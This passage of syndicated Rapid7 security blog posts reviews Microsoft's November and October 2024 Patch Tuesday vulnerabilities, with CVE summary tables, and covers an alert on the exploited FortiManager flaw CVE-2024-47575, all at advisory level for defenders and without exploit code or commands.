CVE-2024-49019 describes an elevation of privilege vulnerability in Active Directory Certificate Services. While the vulnerability only affects assets with the Windows Active Directory Certificate Services role, an attacker who successfully exploits this vulnerability could gain domain admin privileges, so that doesn’t offer much comfort. Unsurprisingly, given the potential prize for attackers, Microsoft assesses future exploitation as more likely. Vulnerable PKI environments are those which include published certificates created using a version 1 certificate template with the source of subject name set to “Supplied in the request” and Enroll permissions granted to a broader set of accounts. Microsoft does not obviously provide any means of determining the certificate template version used to create a certificate, although the advisory does offer recommendations for anyone hoping to secure certificate templates.

There is a significant history of research and exploitation of Active Directory Certificate Services, including the widely-discussed Certified Pre-Owned series, and the discovering researchers have now added further to that corpus, tagging CVE-2024-49019 as ESC15. In keeping with another long-standing infosec tradition, the researcher has provided a fun celebrity vulnerability name — in this case, EKUwu, a portmanteau of EKU (Extended Key Usage) and UwU, an emoticon representing a cute face — as part of their detailed and insightful write-up.

MSHTML: zero-day NTLMv2 hash disclosure

Given the CVSSv3 base score of 6.0, one might almost be forgiven for overlooking CVE-2024-43451, which describes an NTLM hash disclosure spoofing vulnerability in the MSHTML platform which powered Internet Explorer. However, public disclosure and in-the-wild exploitation are always worth a look. Although exploitation requires that the user interact with a malicious file, a successful attacker receives the user’s NTLMv2 hash, and can then use that to authenticate as the user.

Microsoft has arguably scored CVE-2024-43451 correctly according to the CVSSv3.1 specification. However, although the Microsoft CVSSv3 vector describes an impact only to confidentiality, if an attacker can authenticate as the user post-exploitation, a further potential for subsequent impact to integrity and availability now exists; if we take that potential indirect effect into account, the CVSSv3 base score would look more like 8.8, which is the sort of number where alarm bells typically start ringing for many defenders. As a further sting in the tail, the advisory FAQ describes the required user interaction as minimal: left click, right click, or even the highly non-specific “performing an action other than opening or executing [the file]”. There’s certainly the potential for a long tail of exploitation here, especially in environments with more relaxed patching cadence.

The complete Windows catalog from Server 2025 and Windows 11 24H2 all the way back to Server 2008 receives patches for CVE-2024-43451. As Rapid7 has previously noted, MSHTML (also known as Trident) is still fully present in Windows — and unpatched assets are thus vulnerable — regardless of whether or not a Windows asset has Internet Explorer 11 disabled.

Exchange: zero-day sender spoofing

It’s been a few months since we’ve seen any security patches for Exchange, but the streak is now broken with a zero-day vulnerability. Mailserver admins should be paying attention to CVE-2024-49040, which is a publicly disclosed spoofing vulnerability. The specific weakness is CWE-451: User Interface (UI) Misrepresentation of Critical Information, which is often associated with phishing attacks, as well as browser vulnerabilities, and can describe a wide range of misdeeds, from visual truncation and UI overlay to homograph abuse. Microsoft does not yet claim knowledge of in-the-wild exploitation.

The advisory for CVE-2024-49040 hints that post-patching actions may be required for remediation of CVE-2024-49040, and links to further information in a separate article titled “Exchange Server non-RFC compliant P2 FROM header detection”. A careful read of the article doesn’t appear to list any mandatory post-patching actions; instead, there is an optional extra mitigation strategy action around Exchange Transport Rules, as well as an encouragingly detailed explanation of the protection offered by today’s patches. The article showcases that an Exchange-connected email client such as Outlook might display a forged sender as if it were legitimate, which we can all agree is not a good outcome. Attackers don’t have to look far to find other vulnerabilities to chain with this one, since today’s sibling zero-day vulnerability CVE-2024-43451 is certainly an option. On the other hand, let’s take a moment to appreciate the Exchange team’s blog title: “You Had Me at EHLO”.

Patches for CVE-2024-49040 are available for Exchange 2019 CU13 and CU14, as well as Exchange 2016 CU23. It’s worth remembering that both Exchange 2016 and 2019 have an extended end date of 2025-10-14, which is now less than a year away; this despite the fact that the successor for 2016 and 2019, which Microsoft is unsubtly branding as Exchange Server Subscription Edition, isn’t due for release until early in 2025 Q3. Many admins would no doubt prefer a longer upgrade window.

The researcher who reported CVE-2024-49040 also discovered a means to impersonate Microsoft corporate email accounts earlier this year, but went public with his findings after Microsoft dismissed his report; it appears that the relationship has been at least somewhat repaired.

Task Scheduler: zero-day EoP (but not SYSTEM)

Windows Task Scheduler facilitates all sorts of useful outcomes, and if you’re a threat actor, it now offers one more: elevation of privilege via CVE-2024-49039. Microsoft is aware of exploitation in the wild. Given the low attack complexity and low privileges requirement, no requirement for user interaction, high impact across the CIA triad, and changed scope, it’s no surprise that the CVSSv3 base score comes out as a relatively zesty 8.8. However, Windows elevation of privilege vulnerabilities are always most exciting for attackers when they lead directly to SYSTEM privileges, but that’s not the case here. The attacker in this scenario starts out in a low-privileged AppContainer sandbox, and exploitation via a malicious app provides medium integrity level privileges, which is the same as a regular non-administrative user on the system. Still, every step forward for a threat actor is a step back for defenders.

.NET: critical RCE

This month brings patches for CVE-2024-43498, a critical RCE in .NET 9.0 with a CVSSv3 base score of 9.8, which is so seldom a harbinger of good news. Exploitation might mean compromise of a desktop application by loading a malicious file, but most concerningly could also describe RCE in the context of a vulnerable .NET webapp via a specially crafted request. Microsoft assesses exploitation as less likely, but there’s nothing on the advisory which obviously supports that assessment, since this is a low-complexity network attack which requires neither privileges nor user interaction. CVE-2024-43498 is surely worthy of immediate patching. It’s also never a bad idea to review other options for protection, especially for internet-exposed services.

Kerberos: critical RCE

The advisory for CVE-2024-43639 describes a critical RCE in Kerberos with a CVSSv3 base score of 9.8, although not in great detail. The FAQ explains that an unauthenticated attacker could use a specially crafted application to leverage a cryptographic protocol vulnerability in Windows Kerberos to perform remote code execution against the target, but without providing much information about the target or the precise context of code execution. The only safe assumption here is that code execution is in a highly-privileged context on a server which handles key authentication tasks. Patch accordingly.

Microsoft lifecycle update

In Microsoft lifecycle news, the most notable change is the arrival of Windows Server 2025 as a General Availability product at the start of November. Microsoft has announced a number of new features in Server 2025, which we will look forward to discussing in more detail in future editions of this blog.

At the other end of the lifecycle continuum, .NET 6.0 receives its final scheduled updates today; as .NET 6.0 is/was a Long Term Support (LTS) version, and .NET 7.0 is already beyond end of life, the only current upgrade path is to .NET 8.0.

Summary charts

Patch Tuesday - November 2024
Patch Tuesday - November 2024
Patch Tuesday - November 2024
SQL server dominating the heatmap, but it’s mostly a group of closely-related client vulns.

Summary tables

Apps vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-49051 Microsoft PC Manager Elevation of Privilege Vulnerability No No 7.8

Azure vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-43602 Azure CycleCloud Remote Code Execution Vulnerability No No 9.9
CVE-2024-49056 Airlift.microsoft.com Elevation of Privilege Vulnerability No No 7.3
CVE-2024-49042 Azure Database for PostgreSQL Flexible Server Extension Elevation of Privilege Vulnerability No No 7.2
CVE-2024-43613 Azure Database for PostgreSQL Flexible Server Extension Elevation of Privilege Vulnerability No No 7.2

Browser vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-10827 Chromium: CVE-2024-10827 Use after free in Serial No No N/A
CVE-2024-10826 Chromium: CVE-2024-10826 Use after free in Family Experiences No No N/A

Developer Tools vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-43498 .NET and Visual Studio Remote Code Execution Vulnerability No No 9.8
CVE-2024-49050 Visual Studio Code Python Extension Remote Code Execution Vulnerability No No 8.8
CVE-2024-43499 .NET and Visual Studio Denial of Service Vulnerability No No 7.5
CVE-2024-49049 Visual Studio Code Remote Extension Elevation of Privilege Vulnerability No No 7.1
CVE-2024-49044 Visual Studio Elevation of Privilege Vulnerability No No 6.7

ESU Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-43639 Windows Kerberos Remote Code Execution Vulnerability No No 9.8
CVE-2024-43627 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2024-43628 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2024-43620 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2024-43621 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2024-43622 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2024-43635 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2024-49046 Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability No No 7.8
CVE-2024-43626 Windows Telephony Service Elevation of Privilege Vulnerability No No 7.8
CVE-2024-43641 Windows Registry Elevation of Privilege Vulnerability No No 7.8
CVE-2024-43623 Windows NT OS Kernel Elevation of Privilege Vulnerability No No 7.8
CVE-2024-43644 Windows Client-Side Caching Elevation of Privilege Vulnerability No No 7.8
CVE-2024-43636 Win32k Elevation of Privilege Vulnerability No No 7.8
CVE-2024-49019 Active Directory Certificate Services Elevation of Privilege Vulnerability No Yes 7.8
CVE-2024-43452 Windows Registry Elevation of Privilege Vulnerability No No 7.5
CVE-2024-43450 Windows DNS Spoofing Vulnerability No No 7.5
CVE-2024-43634 Windows USB Video Class System Driver Elevation of Privilege Vulnerability No No 6.8
CVE-2024-43637 Windows USB Video Class System Driver Elevation of Privilege Vulnerability No No 6.8
CVE-2024-43638 Windows USB Video Class System Driver Elevation of Privilege Vulnerability No No 6.8
CVE-2024-43643 Windows USB Video Class System Driver Elevation of Privilege Vulnerability No No 6.8
CVE-2024-43449 Windows USB Video Class System Driver Elevation of Privilege Vulnerability No No 6.8
CVE-2024-43451 NTLM Hash Disclosure Spoofing Vulnerability Yes Yes 6.5
CVE-2024-38203 Windows Package Library Manager Information Disclosure Vulnerability No No 6.2

Mariner System Center vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-5535 OpenSSL: CVE-2024-5535 SSL_select_next_proto buffer overread No No 9.1

Microsoft Office vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-49031 Microsoft Office Graphics Remote Code Execution Vulnerability No No 7.8
CVE-2024-49032 Microsoft Office Graphics Remote Code Execution Vulnerability No No 7.8
CVE-2024-49026 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2024-49027 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2024-49028 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2024-49029 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2024-49030 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2024-49033 Microsoft Word Security Feature Bypass Vulnerability No No 7.5

Open Source Software vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-49048 TorchGeo Remote Code Execution Vulnerability No No 8.1
CVE-2024-43598 LightGBM Remote Code Execution Vulnerability No No 7.5

SQL Server vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-38255 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-43459 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-43462 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-48994 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-48995 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-48996 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-48993 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-48997 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-48998 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-48999 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-49000 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-49001 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-49002 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-49003 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-49004 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-49005 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-49007 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-49006 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-49008 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-49009 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-49010 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-49011 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-49012 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-49013 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-49014 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-49015 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-49016 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-49017 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-49018 SQL Server Native Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-49043 Microsoft.SqlServer.XEvent.Configuration.dll Remote Code Execution Vulnerability No No 7.8
CVE-2024-49021 Microsoft SQL Server Remote Code Execution Vulnerability No No 7.8

Server Software vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-49040 Microsoft Exchange Server Spoofing Vulnerability No Yes 7.5

Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-49039 Windows Task Scheduler Elevation of Privilege Vulnerability Yes No 8.8
CVE-2024-43624 Windows Hyper-V Shared Virtual Disk Elevation of Privilege Vulnerability No No 8.8
CVE-2024-43447 Windows SMBv3 Server Remote Code Execution Vulnerability No No 8.1
CVE-2024-43625 Microsoft Windows VMSwitch Elevation of Privilege Vulnerability No No 8.1
CVE-2024-43530 Windows Update Stack Elevation of Privilege Vulnerability No No 7.8
CVE-2024-43640 Windows Kernel-Mode Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2024-43630 Windows Kernel Elevation of Privilege Vulnerability No No 7.8
CVE-2024-43629 Windows DWM Core Library Elevation of Privilege Vulnerability No No 7.8
CVE-2024-43642 Windows SMB Denial of Service Vulnerability No No 7.5
CVE-2024-43631 Windows Secure Kernel Mode Elevation of Privilege Vulnerability No No 6.7
CVE-2024-43646 Windows Secure Kernel Mode Elevation of Privilege Vulnerability No No 6.7
CVE-2024-43645 Windows Defender Application Control (WDAC) Security Feature Bypass Vulnerability No No 6.7
CVE-2024-43633 Windows Hyper-V Denial of Service Vulnerability No No 6.5
CVE-2024-38264 Microsoft Virtual Hard Disk (VHDX) Denial of Service Vulnerability No No 5.9

Updates

  • 2024-11-12: corrected CVSSv3 base score for CVE-2024-43639.

Fortinet FortiManager CVE-2024-47575 Exploited in Zero-Day Attacks

Post Syndicated from Caitlin Condon original https://blog.rapid7.com/2024/10/23/etr-fortinet-fortimanager-cve-2024-47575-exploited-in-zero-day-attacks/

Fortinet FortiManager CVE-2024-47575 Exploited in Zero-Day Attacks

On Wednesday, October 23, 2024, security company Fortinet published an advisory on CVE-2024-47575, a critical zero-day vulnerability affecting their FortiManager network management solution. The vulnerability arises from a missing authentication for a critical function [CWE-306] in the FortiManager fgfmd daemon that allows a remote unauthenticated attacker to execute arbitrary code or commands via specially crafted requests. The vulnerability carries a CVSS v3 score of 9.8.

Fortinet’s advisory notes that CVE-2024-47575 has been “reported” as exploited in the wild. Rapid7 customers have also reported receiving communications from service providers indicating the vulnerability may have been exploited in their environments. According to the vendor, “The identified actions of this attack in the wild have been to automate via a script the exfiltration of various files from the FortiManager which contained the IPs, credentials and configurations of the managed devices.” Rapid7 strongly recommends reviewing the vendor advisory for indicators of compromise and mitigation strategies.

Background

Since roughly October 13, there have been private industry discussions and a number of public posts on Reddit, Twitter, and Mastodon about a rumored zero-day vulnerability in FortiManager. Public Reddit conversations indicated that Fortinet contacted some of their customers by email circa October 15 to “privately disclose” a FortiManager vulnerability and advise on mitigations. Despite embargoed communications and the publication of several news articles, neither a public advisory nor a CVE was issued until October 23.

On the evening of October 22, high-profile cybersecurity researcher Kevin Beaumont published a blog alleging that a state-sponsored adversary has been using this FortiManager zero-day vulnerability in espionage attacks. While Fortinet’s advisory doesn’t include any information about specific adversaries exploiting the vulnerability, Fortinet devices have long been popular targets for state-sponsored threat actors.

Mitigation guidance

Per Fortinet’s advisory, the following versions of FortiManager are vulnerable to CVE-2024-47575 and have mitigation guidance available:

  • FortiManager 7.6.0
  • FortiManager 7.4.0 through 7.4.4
  • FortiManager 7.2.0 through 7.2.7
  • FortiManager 7.0.0 through 7.0.12
  • FortiManager 6.4.0 through 6.4.14
  • FortiManager 6.2.0 through 6.2.12
  • FortiManager Cloud 7.4.1 through 7.4.4
  • FortiManager Cloud 7.2 (all versions)
  • FortiManager Cloud 7.0 (all versions)
  • FortiManager Cloud 6.4 (all versions)

The advisory indicates FortiManager Cloud 7.6 is not affected.

FortiManager customers should update to a supported, fixed version on an emergency basis, without waiting for a regular patch cycle to occur. See the vendor advisory for the latest list of fixed versions. A workaround is also available for some versions.

Fortinet’s advisory also includes a list of indicators of compromise (IOCs) that FortiManager customers should look for in their environments.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2024-47575 with an authenticated check expected to be available in the Wednesday, October 23 content release.

Patch Tuesday – October 2024

Post Syndicated from Adam Barnett original https://blog.rapid7.com/2024/10/08/patch-tuesday-october-2024/

Patch Tuesday - October 2024

Microsoft is addressing 118 vulnerabilities this October 2024 Patch Tuesday. Microsoft has evidence of in-the-wild exploitation and/or public disclosure for five of the vulnerabilities published today, although it does not rate any of these as critical (yet). Of those five, Microsoft lists two as exploited in the wild, and both of these are now listed on CISA KEV. Microsoft is also patching three further critical remote code execution (RCE) vulnerabilities today. Three browser vulnerabilities have already been published separately this month, and are not included in the total.

Somewhat unusually, we’ll take a look at two of the three critical RCEs published today — CVE-2024-43468 and CVE-2024-43582 — before moving on to the arguably somewhat-less- threatening zero-day vulnerabilities patched today.

Microsoft Configuration Manager: pre-auth RCE

Microsoft Configuration Manager receives a patch for the only vulnerability published by Microsoft today with a CVSS base score of 9.8. Although Microsoft doesn’t tag it as either publicly disclosed or exploited-in-the-wild, the advisory for CVE-2024-43468 appears to describe a no-interaction, low complexity, unauthenticated network RCE against Microsoft Configuration Manager. Exploitation is achieved by sending specially-crafted malicious requests, and leads to code execution in the context of the Configuration Manager server or its underlying database. The relevant update is installed within the Configuration Manager console, and requires specific administrator actions that Microsoft describes in detail in a generic series of articles. Further information and several specific required steps are described in KB29166583.

Confusingly, this KB29166583 was first published over a month ago on 2024-09-04, and was then subsequently unpublished and republished on 2024-09-18, all without any mention of CVE-2024-43468, which was published only today and which KB29166583 apparently remediates. Defenders should read the available documentation carefully, and then probably read it again for good measure.

RPD RPC: pre-auth RCE

Any RDP Server critical RCE is worth patching quickly. CVE-2024-43582 is a pre-auth critical RCE in the Remote Desktop Protocol Server. Exploitation requires an attacker to send deliberately-malformed packets to a Windows RPC host, and leads to code execution in the context of the RPC service, although what this means in practice may depend on factors including RPC Interface Restriction configuration on the target asset. One silver lining: attack complexity is high, since the attacker must win a race condition to access memory improperly.

Winlogon: zero-day EoP

Who doesn’t love a good elevation of privilege vulnerability? Weary blue teamers who see the words “publicly disclosed” on a brand-new advisory know the answer. CVE-2024-43583 describes a flaw in Winlogon which gets an attacker all the way to SYSTEM via abuse of a third-party Input Method Editor (IME) during the sign-on process. The supplementary KB5046254 article explains that the 2024-10-08 patches disable non-Microsoft IME during the sign-in process. On that basis, outright removal of third-party IME is a mitigation available to anyone who is not able to apply today’s patches immediately.

Attack surface reduction is always worth considering, and removal of third-party IMEs certainly accomplishes that. Anyone who needs to keep a third-party IME can still do so, but once today’s patches are applied, that third-party IME will be disabled — only in the context of the sign-in process — to prevent exploitation of CVE-2024-43583. Although Microsoft doesn’t quite spell it out, the only reasonable interpretation of the available information is that an asset with no first-party/Microsoft IME installed would remain vulnerable after patching, since otherwise no IME would be available when attempting to sign in. Use of third-party IME is more likely to be a concern in mixed-language or non-English-speaking contexts. The disclosure process around this vulnerability may not have been entirely smooth; back in September, one of the researchers credited with the discovery expressed discontent with MSRC via X-formerly-known-as-Twitter.

Hyper-V: zero-day container escape

CVE-2024-20659 describes a publicly-disclosed security feature bypass in Hyper-V. Microsoft describes exploitation as both less likely and highly complex. An attacker must be both lucky and resourceful, since only UEFI-enabled hypervisors with certain unspecified hardware are vulnerable, and exploitation requires coordination of a number of factors followed by a well-timed reboot. All this after first achieving a foothold on the same network — although in this context, this likely means access to a VM on the target hypervisor, rather than some other location on the same subnet. The prize for successful exploitation is compromise of the hypervisor kernel.

MSHTML: zero-day XSS

CVE-2024-43573 is an exploited-in-the-wild spoofing vulnerability in MSHTML for which Microsoft is also aware of functional public exploit code; the advisory lists CWE-79 as the weakness, which translates to cross-site scripting (XSS). The advisory is sparse on further detail, although Windows Server 2012/2012 R2 admins who typically install Security Only updates should note that Microsoft is encouraging installation of the Monthly Rollups to ensure remediation in this case. The low CVSSv3 base score of 6.5 reflects the requirement for user interaction and the lack of impact to integrity or availability; a reasonable assumption might be that exploitation leads to improper disclosure of sensitive data, but no other direct effect on the target asset.

cURL: zero-day RCE

Microsoft is most famous for its closed source products, but has cautiously softened its stance on open source considerably in the past quarter century or so. Windows has included components of cURL for almost seven years at this point, along with various other open source components; Microsoft does patch these from time to time, although not always as quickly as defenders might like. Today’s patches for CVE-2024-6197, a publicly-disclosed RCE vulnerability in cURL, continue that trend.

The Microsoft advisory for CVE-2024-6197 clarifies that Windows does not ship libcurl, only the curl command line, but that’s still vulnerable and thus in scope for a fix. Exploitation requires that the user connect to a malicious server controlled by the attacker, and code execution is presumably in the context of the user launching the curl CLI tool on the Windows asset. The cURL project advisory for CVE-2024-6197 was originally published on 2024-07-24, and offers further detail from their perspective. Interestingly, the cURL project describes the most likely outcome of exploitation as a crash, and does not specifically mention RCE, although it is careful not to exclude the possibility of unspecified “more serious results,” which could well mean RCE. Microsoft rates this vulnerability as important, which is on track with the CVSS base score of 8.8.

Management Console: zero-day RCE

CVE-2024-43572 rounds out today’s five zero-day vulnerabilities, and describes a low-complexity, no-user-interaction RCE in Microsoft Management Console. Microsoft is aware of both public functional exploit code and in-the-wild exploitation. The vulnerability is exploited when a user downloads and opens a specially-crafted malicious Microsoft Saved Console (MSC) file, so there’s no suggestion here that the Management Console is vulnerable via network attack. Today’s patches prevent untrusted MSC files from being opened, although the advisory does not describe how Windows will know what’s trusted and what isn’t. Microsoft has chosen to map CVE-2024-43572 to CWE-70, which is a very broad category, the use of which is explicitly discouraged by MITRE.

VS Code Arduino extension: cloud critical RCE

A third critical RCE patched today is hopefully less concerning than its siblings. CVE-2024-43488 is in the Visual Studio Code extension for Arduino, and Microsoft notes that the vulnerability documented by this CVE requires no customer action to resolve. A reasonable question is: what does “no action required” really mean here? Within the advisory, Microsoft both claims to have fully mitigated the vulnerability, and also that there is no plan to fix the vulnerability. As confusing as that all sounds, perhaps the most important takeaway here is that Microsoft is now issuing cloud service CVEs in a stated effort to improve transparency. It’s not clear when the vulnerability was first introduced or when it was remediated, but nevertheless the recent expansion into a whole new class of CVEs is a welcome step by Microsoft.

SharePoint: EoP to SYSTEM

A sparse advisory for CVE-2024-43503, which is an elevation of privilege vulnerability which leads to SYSTEM. Advisories for similar vulnerabilities typically describe the specific SharePoint privileges required, but this one does not, so a reasonable assumption might be that the requirement here is simply minimal Site Member privileges.

Microsoft lifecycle update

Today sees the end of support for Windows 11 22H2 for Home, Pro, Pro Education, Pro for Workstations, and SE editions, as well as for Windows 11 21H2 for Education, Enterprise, and Enterprise multi-session editions. Server 2012 and Server 2012 R2 pass into Year 2 of ESU. Windows Embedded POSReady — the POS stands for Point-of-Sale — receives its final ESU updates today, and that might just be the last gasp for Windows 7 as a whole. As well as patching today’s critical RCE CVE-2024-43468, Intune admins still using Configuration Manager 2303 should look to upgrade to a newer version immediately, because support ends (somewhat unusually) on Thursday this week.

Summary charts

Patch Tuesday - October 2024
Patch Tuesday - October 2024
Patch Tuesday - October 2024

Summary tables

Apps vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-43604 Outlook for Android Elevation of Privilege Vulnerability No No 5.7

Azure vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-38179 Azure Stack Hyperconverged Infrastructure (HCI) Elevation of Privilege Vulnerability No No 8.8
CVE-2024-43591 Azure Command Line Integration (CLI) Elevation of Privilege Vulnerability No No 8.7
CVE-2024-38097 Azure Monitor Agent Elevation of Privilege Vulnerability No No 7.1
CVE-2024-43480 Azure Service Fabric for Linux Remote Code Execution Vulnerability No No 6.6

Browser vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-9370 Chromium: CVE-2024-9370 Inappropriate implementation in V8 No No N/A
CVE-2024-9369 Chromium: CVE-2024-9369 Insufficient data validation in Mojo No No N/A
CVE-2024-7025 Chromium: CVE-2024-7025 Integer overflow in Layout No No N/A

Developer Tools vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-43488 Visual Studio Code extension for Arduino Remote Code Execution Vulnerability No No 8.8
CVE-2024-43497 DeepSpeed Remote Code Execution Vulnerability No No 8.4
CVE-2024-38229 .NET and Visual Studio Remote Code Execution Vulnerability No No 8.1
CVE-2024-43590 Visual C++ Redistributable Installer Elevation of Privilege Vulnerability No No 7.8
CVE-2024-43483 .NET, .NET Framework, and Visual Studio Denial of Service Vulnerability No No 7.5
CVE-2024-43484 .NET, .NET Framework, and Visual Studio Denial of Service Vulnerability No No 7.5
CVE-2024-43485 .NET and Visual Studio Denial of Service Vulnerability No No 7.5
CVE-2024-43601 Visual Studio Code for Linux Remote Code Execution Vulnerability No No 7.1
CVE-2024-43603 Visual Studio Collector Service Denial of Service Vulnerability No No 5.5

ESU Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-38124 Windows Netlogon Elevation of Privilege Vulnerability No No 9
CVE-2024-43518 Windows Telephony Server Remote Code Execution Vulnerability No No 8.8
CVE-2024-43608 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 8.8
CVE-2024-43607 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 8.8
CVE-2024-38265 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 8.8
CVE-2024-43453 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 8.8
CVE-2024-38212 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 8.8
CVE-2024-43549 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 8.8
CVE-2024-43564 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 8.8
CVE-2024-43589 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 8.8
CVE-2024-43592 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 8.8
CVE-2024-43593 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 8.8
CVE-2024-43611 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 8.8
CVE-2024-43532 Remote Registry Service Elevation of Privilege Vulnerability No No 8.8
CVE-2024-43599 Remote Desktop Client Remote Code Execution Vulnerability No No 8.8
CVE-2024-43519 Microsoft WDAC OLE DB provider for SQL Server Remote Code Execution Vulnerability No No 8.8
CVE-2024-43517 Microsoft ActiveX Data Objects Remote Code Execution Vulnerability No No 8.8
CVE-2024-43583 Winlogon Elevation of Privilege Vulnerability No Yes 7.8
CVE-2024-38261 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 7.8
CVE-2024-43514 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability No No 7.8
CVE-2024-43509 Windows Graphics Component Elevation of Privilege Vulnerability No No 7.8
CVE-2024-43556 Windows Graphics Component Elevation of Privilege Vulnerability No No 7.8
CVE-2024-43501 Windows Common Log File System Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2024-43563 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability No No 7.8
CVE-2024-43560 Microsoft Windows Storage Port Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2024-43572 Microsoft Management Console Remote Code Execution Vulnerability Yes Yes 7.8
CVE-2024-38262 Windows Remote Desktop Licensing Service Remote Code Execution Vulnerability No No 7.5
CVE-2024-43545 Windows Online Certificate Status Protocol (OCSP) Server Denial of Service Vulnerability No No 7.5
CVE-2024-43521 Windows Hyper-V Denial of Service Vulnerability No No 7.5
CVE-2024-43567 Windows Hyper-V Denial of Service Vulnerability No No 7.5
CVE-2024-43541 Microsoft Simple Certificate Enrollment Protocol Denial of Service Vulnerability No No 7.5
CVE-2024-43544 Microsoft Simple Certificate Enrollment Protocol Denial of Service Vulnerability No No 7.5
CVE-2024-43515 Internet Small Computer Systems Interface (iSCSI) Denial of Service Vulnerability No No 7.5
CVE-2024-43506 BranchCache Denial of Service Vulnerability No No 7.5
CVE-2024-38149 BranchCache Denial of Service Vulnerability No No 7.5
CVE-2024-43550 Windows Secure Channel Spoofing Vulnerability No No 7.4
CVE-2024-43553 NT OS Kernel Elevation of Privilege Vulnerability No No 7.4
CVE-2024-43535 Windows Kernel-Mode Driver Elevation of Privilege Vulnerability No No 7
CVE-2024-37976 Windows Resume Extensible Firmware Interface Security Feature Bypass Vulnerability No No 6.7
CVE-2024-37982 Windows Resume Extensible Firmware Interface Security Feature Bypass Vulnerability No No 6.7
CVE-2024-37983 Windows Resume Extensible Firmware Interface Security Feature Bypass Vulnerability No No 6.7
CVE-2024-37979 Windows Kernel Elevation of Privilege Vulnerability No No 6.7
CVE-2024-43512 Windows Standards-Based Storage Management Service Denial of Service Vulnerability No No 6.5
CVE-2024-43573 Windows MSHTML Platform Spoofing Vulnerability Yes Yes 6.5
